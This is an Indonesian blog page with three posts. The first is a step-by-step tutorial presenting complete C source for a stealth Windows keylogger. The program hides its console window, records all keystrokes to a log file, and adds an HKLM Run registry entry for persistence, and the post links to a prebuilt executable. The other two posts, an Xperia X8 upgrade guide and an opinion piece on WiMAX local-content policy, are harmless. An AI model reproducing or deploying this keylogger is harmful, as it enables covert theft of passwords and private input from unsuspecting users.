RSS

You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "

Tips Membuat Flash Disk Menjadi Keylogger

1.Sediakan Flash disk ato USB (kalau bisa yg ga ad virus)

2.Download dev C++ disini : http://www26.indowebster.com/80bc5a4ad5d52964211d187313324f5b.zip

3.Setelah Instal & buka > File > New Source File > kemudian paste code di bawah ini

#include 

#include

#include



#define BUFSIZE 80



int test_key(void);

int create_key(char *);

int get_keys(void);





int main(void)

{

HWND stealth; /*creating stealth (window is not visible)*/

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);



int test,create;

test=test_key();/*check if key is available for opening*/



if (test==2)/*create key*/

{

char *path="c:\\%windir%\\riz.exe";/*the path in which the file needs to be*/

create=create_key(path);



}





int t=get_keys();



return t;

}



int get_keys(void)

{

short character;

while(1)

{



for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{



FILE *file;

file=fopen("log.log","a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("[SHIFT]",file);

fclose(file);

break;

case VK_RETURN:

fputs("\n[ENTER]",file);

fclose(file);

break;

case VK_BACK:

fputs("[BACKSPACE]",file);

fclose(file);

break;

case VK_TAB:

fputs("[TAB]",file);

fclose(file);

break;

case VK_CONTROL:

fputs("[CTRL]",file);

fclose(file);

break;

case VK_DELETE:

fputs("[DEL]",file);

fclose(file);

break;

case VK_OEM_1:

fputs("[;:]",file);

fclose(file);

break;

case VK_OEM_2:

fputs("[/?]",file);

fclose(file);

break;

case VK_OEM_3:

fputs("[`~]",file);

fclose(file);

break;

case VK_OEM_4:

fputs("[ [{ ]",file);

fclose(file);

break;

case VK_OEM_5:

fputs("[\\|]",file);

fclose(file);

break;

case VK_OEM_6:

fputs("[ ]} ]",file);

fclose(file);

break;

case VK_OEM_7:

fputs("['\"]",file);

fclose(file);

break;

/*case VK_OEM_PLUS:

fputc('+',file);

fclose(file);

break;

case VK_OEM_COMMA:

fputc(',',file);

fclose(file);

break;

case VK_OEM_MINUS:

fputc('-',file);

fclose(file);

break;

case VK_OEM_PERIOD:

fputc('.',file);

fclose(file);

break;*/

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("[CAPS LOCK]",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}



}

return EXIT_SUCCESS;

}



int test_key(void)

{

int check;

HKEY hKey;

char path[BUFSIZE];

DWORD buf_length=BUFSIZE;

int reg_key;



reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

if(reg_key!=0)

{

check=1;

return check;

}



reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);



if((reg_key!=0)||(buf_length>BUFSIZE))

check=2;

if(reg_key==0)

check=0;



RegCloseKey(hKey);

return check;

}



int create_key(char *path)

{

int reg_key,check;



HKEY hkey;



reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);

if(reg_key==0)

{

RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));

check=0;

return check;

}

if(reg_key!=0)

check=1;



return check;

}



4.liat tab di atas , klik Execute > pilih Rebuild All

5.Save dengan nama Riz (save dengan riz . tar kalo kgk , ane kgk tau gan kalo ga mulus )

6.Sekarang buka folder tempat agan nge rebuild itu .

7.Open Riz.exe > trus klik tombol apa aja di keyboard .

8.selesai , alhasil tombol yang agan klik tadi ke rekam di file log.log

9. buka file log.log (target file ny ada di directory tempat agan nge save file riz.exe)

Buat yang mau langsung jadi : http://www55.indowebster.com/yi7ikz2...p14nrlfjfo.rar


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

10 Langkah Mudah Upgrade Sony Ericsson Xperia X8


Kehadiran Sony ericsson Xperia X8 cukup memberikangreget pada ranah ponsel android. Bentuknya yang minimalis serta harganya yang cukup terjangkau membuat para pemain baru di kelas android melirik ponsel besutan Jepang-Swedia itu.

Namun platformnya yang mengusung android versi donut (1.6) terkadang kurang optimal dalam kinerjanya. Tetapi kini para pemegangponsel tersebut dapat tersenyum senang karena dapat melakukan upgrading ke versi yang setingkat diatasnya yakni éclair (2.1).

Selain kita dapat mengunjungi Sony Ericsson Service Center yang tersebar di seluruh Indonesia, kitapun dapat melakukan upgrading sendiri secara manual. Namun jangan lupa, sebelum melakukan langkah tersebut, alangkah baiknya kita melakukan back-up pada menu back-up and restore.

Berikut langkah-langkah saat kita melakukan upgrading sendiri :

1. Cukup masuk ke website sony ericsson.com, masuk ke link update SE Xperia X8. Download file set-up. Pastikan computer kita tetap terhubung pada jaringan internet.

2. Setelah didownload, jalankan set-up aplikasi.

3. Set-up update akan mendeteksi ponsel anda.

4. Setelah terkoneksi, ada beberapa langkah yang harus kita jalani. Agar prosesnya lancar kita lakukan sesuai petunjuk, yakni melepas kabel data, mematikan ponsel, tunggu 5 detik lalu tekan tomboil back, kemudian colokan kembali kabel data (tombol back tetap ditekan). Setelah lampu indikator hijau di ponsel menyala, lepaskan tombol back.

5. Selanjutnya kita akan masuk menu update ponsel, ikuti sesuai langkah.

6. Kita akan diminta untuk mem-verifikasi update, apakah data kita sudah terback-up. (alangkah baiknya sebelum kita melakukan langkah update software, kita melakukan back-up pada menu back-up and restore). Setelah melakukan langkah back-up data, kita bisa meng-klik start pada menu update software.

7. Kita akan menerima konfirmasi instalasi, klik install.

8. Ponsel akan ter-update, waktu yang berlangsung untuk proses ini tergantng jaringan computer kita.

9. Setelah ter-update, secara otomatis beberapa file update akan terinstal di ponsel kita.

10. Setelah update selesai, pilih exit dan lepaskan kabel data dari ponsel. Kemudian nyalakan kembali ponsel kita. Setelah ponsel menyala dan kita melakukan beberapa verifikasi, kita dapat melakukan restore data kita pada menu back-up and restore.

Selamat meng-update….. :)

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

YANG TAMAK DI JALUR WIMAX

Tahun 2009, industri manufactur dalam negeri hanya mendapat 3% dari total belanja modal di sector telekominikasi yang mencapai Rp 45 Triliun lebih. Padahal kesiapan industri dalam negeri bias memberikan efek ganda pada perekonomian, seperti serapan tenaga kerja, investasi, dan penghematan devisa.

Tender Broadband Wireless Acess (BWA) misalnya, yang sudah menghasilkan pemenang dan bakal jadi penyedia layanan tersebut. Saying, masih ada pertentangan antara pemeritah dengan pemenang tender. Pengadaan perangkat jadi salah satu isu yang mencuat terkait dampaknya terhadap belanja modal telekomunikasi.

Mendesaknya implementasi BWA memang berhubungan dengan beberapa hal seperti upaya mengejar ketertinggalan akses internet, serta disebut-sebut bias mngoptimalkan Universal Dervice Obligation (USO). Termasuk menunjang pertumbuhan industri komponen local.

BWA adalah tehnologi akses yang dapat menawarkan layanan data atau internet berkecepatan tinggi via media nirkabel. BWA yang mengandalkan Worldwide Access (Wimax) memerlukan investasi lebih kecil ketimbang 3G namun menunjang kecepatan akses lebih baik.

Sayangnya, realisasi Wimax sepertinya bakal tertunda lagi. Dari delapan perusahaan pemenang tender, hanya Telkom Indonesia. Indosat Mega Media (IM2) dan First Media yang serius membayar up front fee dan biaya hak penggunaan (BHP) frekunsi tahun pertama untuk penyelenggaraan di pita 2,3 GHz.

Ternyata berhembus kabar tak sedap, sebagian pemenang tender enggan membayar karena belum yakin dengan perangkat jaringan Wimax local. Di sisi lain, pemerintah optimistis dengan kesiapan Wimax local versi BWA Nomadic 16.d yang dianutnya.

Alasan pemerintah memilih 16.d adalah untuk melindungi industri dalam negeri. Masalahnya, vendor jaringan asing berkilah versi tersebut tidak sesuai Wimax Forum yang mengusung BWA Mobile 16.e.

Kondisi ini erat hubungannya dengan target pemerintah bahwa indistri telekomunikasi harus mampu menyerap produk local minimal 30% dari belanja modal. Hal mengacu pada peraturan pemerintah tentang pendapatan Negara bukan pajak (PP PNBP) No.7/2009.


Dalam PP No.7/2009 itu disebutkan bahwa bila CAPEX operator tidak mencapai 30% untuk belanja konten local akan dikenakan pinalti sesuai PP Denda yang tengah disiapkan pemerintah.

Pemanfaatan konten dalam negeri bias memacu keterkaitan investor local untuk membangun pabrik perangkat telekomunikasi. Juga nantinya bakal mengurangi ketergantungan terhadap produk impor.

Dampak positifnya terbukanya lapangan kerja baru, investasi tak akan lari ke luar negeri dan teknologi dalam negeri kian berkualitas dan meningkat sesuai kebutuhan pasar. Saat ini, penyerapan konten local relative kecil 5 – 15% dan sisanya masih dikuasai asing.

Meruntut ke belakang, data yang dilansir Ditjen Postel pada kurun 2004-2005, kontribusi manufaktur asli Indonesia hanya sekitar 0,1-0,7% dari belanja modal Rp 40 triliun. Ini berarti kontribusi konten local hanya Rp 1,2 hingga Rp 8,4 miliar.

Inisiatif pemerintah mendukung konten local ternyata tak disambut baik sebagian pemenang tender BWA. Mereka tetap ngotot memaksakan penggunaan Wimax 16.e yang notabene berorientasi pada terbangnya belanja modal ke luar negeri. Pasalnya, kebutuhan impor pengayaan perangkat penunjang Wimax 16.e masih sangat tinggi.

Untung pemerintah menolak dengan tegas upaya tersebut. Langkah mewajibkan penggunaan kandungan local sebesar 35% belanja modal dan 50% belanja operasional operator penyelenggara layanan 3G dan Wimax memang bukan sesuatu yang bisa ditawar-tawar lagi.

Data Departemen Perindustrian menyebutkan, produksi sejumlah peralatan telekomunikasi telah mulai berkembang. Mulai dari kabel serat optic, perangkat satelit, radar, stasiun bumi, BWA/Wimax, dan tower.

Intinya, bukan masalah Wimax 16.d atau 16.e yang harus didukung, tapi pengurangan belanja perangkat telekomunikasi ke vendor asing yang seharusnya menjadi isu penting, guna mendorong kemampuan konten lokal.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS